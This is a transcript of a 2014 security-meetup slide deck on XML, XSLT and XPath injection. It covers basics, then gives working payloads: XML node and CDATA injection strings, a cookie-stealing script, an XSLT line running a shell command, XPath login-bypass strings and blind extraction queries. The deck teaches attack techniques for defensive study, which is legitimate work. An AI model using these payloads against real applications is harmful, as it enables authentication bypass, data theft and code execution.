xml & xpath injections

37
XML & XPath Injection By AMol NAik (@amolnaik4)

Upload: amol-naik

Post on 09-Jul-2015

643 views

Category:

Technology


24 download

DESCRIPTION

This presentation was presented at null/G4h monthly meet Bangalore - August 2014

TRANSCRIPT

Page 1: XML & XPath Injections

XML & XPath Injection

By AMol NAik (@amolnaik4)

Page 2: XML & XPath Injections

Agenda

XML Basic XML Injection XXE Attack XSLT Attacks XPath Basics XPath Injections XPath Tools

Page 3: XML & XPath Injections

All codes are at:

https://bitbucket.org/null0x00/null-humla-xml-injection/

3

Page 4: XML & XPath Injections

4

Page 5: XML & XPath Injections

XML Basics

eXtensible Markup Language Flexible text-based format Presents structured info Used for Data Exchange/Storage

Page 6: XML & XPath Injections

XML Components

Root Element

Node

Node Value

AttributeEntity

CDATA Section

Page 7: XML & XPath Injections

XML – CDATA Section

Tells parser not to use markup for characters in this section

Examples:

<![CDATA[if (c<10)]]>

<![CDATA[<script>alert(1)</script>]>

Page 8: XML & XPath Injections

XML Injections

In Node Attribute

In Node Value

In CDATA Section

Page 9: XML & XPath Injections

XML Injection – Node Attribute

Payload:

102”><author>demo</author><title>Demo

Demo</title><price>FREE</price></book><book id=“

<catalog>

<book id=“101”>

<author>Anonymous</author>

<title>We Are Anonymous</title>

<price>INR 200</price>

</book>

</catalog>

Page 10: XML & XPath Injections

XML Injection – Node Attribute

<catalog>

<book id=“102”>

<author>demo</author>

<title>Demo Demo</title>

<price>FREE</price>

</book>

<book id=“101”>

<author>Anonymous</author>

<title>We Are Anonymous</title>

<price>INR 200</price>

</book>

</catalog>

Page 11: XML & XPath Injections

XML Injection – Node Value

Payload:

Anonymous</author><title>Demo Demo</title><price>FREE</price>

</book><book id=“102”><author>

<catalog>

<book id=“101”>

<author>Anonymous</author>

<title>We Are Anonymous</title>

<price>INR 200</price>

</book>

</catalog>

Page 12: XML & XPath Injections

XML Injection – Node Value

<catalog>

<book id=“101”>

<author>Anonymous</author>

<title>Demo Demo</title>

<price>FREE</price>

</book>

<book id=“102”>

<author>demo</author>

<title>We Are Anonymous</title>

<price>INR 200</price>

</book>

</catalog>

Page 13: XML & XPath Injections

XML Injection – CDATA

Payload:

INR 200]]></price></book><book id=“102”><author>demo</author>

<title>Demo Demo</title><price><![CDATA[

<catalog>

<book id=“101”>

<author>Anonymous</author>

<title>We Are Anonymous</title>

<price><![CDATA[INR 200]]></price>

</book>

</catalog>

Page 14: XML & XPath Injections

XML Injection – CDATA

<catalog>

<book id=“101”>

<author>Anonymous</author>

<title>We Are Anonymous</title>

<price><![CDATA[INR 200]]></price>

</book>

<book id=“102”>

<author>demo</author>

<title>Demo Demo</title>

<price><![CDATA[FREE]]></price>

</book>

</catalog>

Page 15: XML & XPath Injections

XML Entity

Variable Define

Shortcuts

Standard Text

Special Characters

Can be Internal/External

Page 16: XML & XPath Injections

XML Entity

Page 17: XML & XPath Injections

XXE Attack

Page 18: XML & XPath Injections

XSLT

Extensible Stylesheet Language Transformations

Used for the transformation of XML documents

See this as CSS of XML

Page 19: XML & XPath Injections

XSLT

Page 20: XML & XPath Injections

XSLT Injection

XSS

<script>alert(document.cookie)</script>

Code Execution<xsl:value-of select="php:function('passthru','ls -la /')"/>

Page 21: XML & XPath Injections

XPath Basics

Language to select XML Nodes

Formats XML data as tree-structured values

Similar as SQL (in some sense)

Page 22: XML & XPath Injections

XPath Syntax

Uses path expressions to select nodes or node-sets in an xml document

Expression Description

nodename Selects all child nodes of the named node

/ Selects from root node

// Selects nodes from the current node that match the selection no matter where they are

. Selects current node

.. Selects parent of the current node

Page 23: XML & XPath Injections

XPath Predicates

Used to find a specific node or a node that contain specific value.

Always embedded in square brackets.

Expression Result

/Employees/Employee[1] Selects first ‘Employee’ element that is the child of ‘Employees’ element

/Employees/Employee[last()] Selects last ‘Employee’ element that is the child of ‘Employees’ element

/Employees/Employee[position()<3] Selects first 2 ‘Employee’ elements that are children of Employees element

//Employee[@ID=‘1’] Selects all the ‘Employee’ elements that have an attribute named ‘ID’ with a value of ‘1’

Page 24: XML & XPath Injections

XPath Location Path

Syntax: axisname::nodetest[predicate]

an axis - defines the tree-relationship between the selected node & the current node

nodetest – identifies node within an axis

Zero or more predicates – further refines the selected node-set

Page 25: XML & XPath Injections

XPath Location Path

Example Result

child::Employee Selects all ‘Employee’ node that are children of the current node

attribute::id Selects the id attribute of the current node

child::* Selects all children of the current node

attribute::* Selects all attributes of the current node

child::text() Selects all text child nodes of the current node

child::node() Selects all child nodes of the current node

descendant::Employees Selects all ‘Employees’ descendants of the current node

Page 26: XML & XPath Injections

XPath Functions

Function Name Description

substring(str,start,len) Return the substring from the start position to the specified length

string-length(str) Returns length of the string

count(item,item,…) Returns count of the nodes

starts-with(str1,str2) Return ‘True’ if str1 starts with str2, else ‘False’

contain(str1,str2) Return ‘True’ if str1 contains str2, else ‘False’

number(arg) Returns numeric value of agrument. Agrument could be boolean, string or node-set

string(arg) Returns string value of agrument. Agrument could be boolean, string or node-set

Page 27: XML & XPath Injections

XPath Injection

XPath Query:

/Employees/Employee[UserName/text() = ‘user’ and Password/text() = ‘passwd’]/Type/text()

Page 28: XML & XPath Injections

XPath Injection

No UserName & Password known:

user =’ or ‘1’=‘1passwd = ’ or ‘1’=‘1

/Employees/Employee[UserName/text() = ‘’ or ‘1’=‘1’ and Password/text() = ‘’ or ‘1’=‘1’]Type/text()

Page 29: XML & XPath Injections

XPath Injection

UserName known:

user =mbrown’ or ‘1’=‘1passwd = anything

/Employees/Employee[UserName/text() = ‘mbrown’ or ‘1’=‘1’ and Password/text() = ‘anything’]Type/text()

Page 30: XML & XPath Injections

XPath Injection

No UserName & Password known & Password is not vulnerable:

user =’ or ‘1’=‘1’ or ‘1’=‘1passwd = anything

/Employees/Employee[UserName/text() = ‘’ or ‘1’=‘1’ or ‘1’=‘1’ and Password/text() = ‘anything’]Type/text()

Page 31: XML & XPath Injections

Blind XPath Injection

XPath Query:/Employees/Employee[@ID=‘_id_’]

/Employees/Employee[@ID=‘1’ and ‘1’=‘1’] =>TRUE

/Employees/Employee[@ID=‘1’ and ‘1’=‘2’]=>FALSE

Page 32: XML & XPath Injections

Blind XPath Injection

Extracting XML file structure

Get count of all nodes▪ count(/*/child::*)

Get name of first node▪ name(/*/child::*[1])

Get count of child nodes of first node▪ count(/*/child::*[1]/child::*)

Page 33: XML & XPath Injections

Blind XPath Injection

Extracting XML file structure

Get name of first child node of first node▪ name(/*/child::*[1]/child::*[1])

Get value of first child node of first node▪ /*/child::*[1]/child::*[1]/text()

Repeat the process for all child nodes

Page 34: XML & XPath Injections

Blind XPath Injection

Extracting XML file structure

Check if the first character of value of first child node of first node is ‘J’

/Employees/Employee[@ID=‘123’ or substring((/*/child::*[1]/child::*[1]/text()),1,1)=‘J’]

Page 35: XML & XPath Injections

XPath Injection Tools

XPath Blind Explorer

Xcat

xmlchor - IronWASP Plugin

recon-ng

xpath_bruter

Page 36: XML & XPath Injections

References

XPath Injectionhttp://www.slideshare.net/robertosl81/xpath-

injection-3547860 Hacking XPath 2.0http://www.slideshare.net/michelemanzotti/hacki

ng-xpath-20 Blind XPath Injectionhttp://2stop.me/S%C3%A9curit%C3%A9%20Infor

matique/Web/EN%20-%20Blind%20Xpath%20injection.pdf

Page 37: XML & XPath Injections

Thank You !!

AMol NAikhttp://twitter.com/amolnaik4

http://amolnaik4.blogspot.com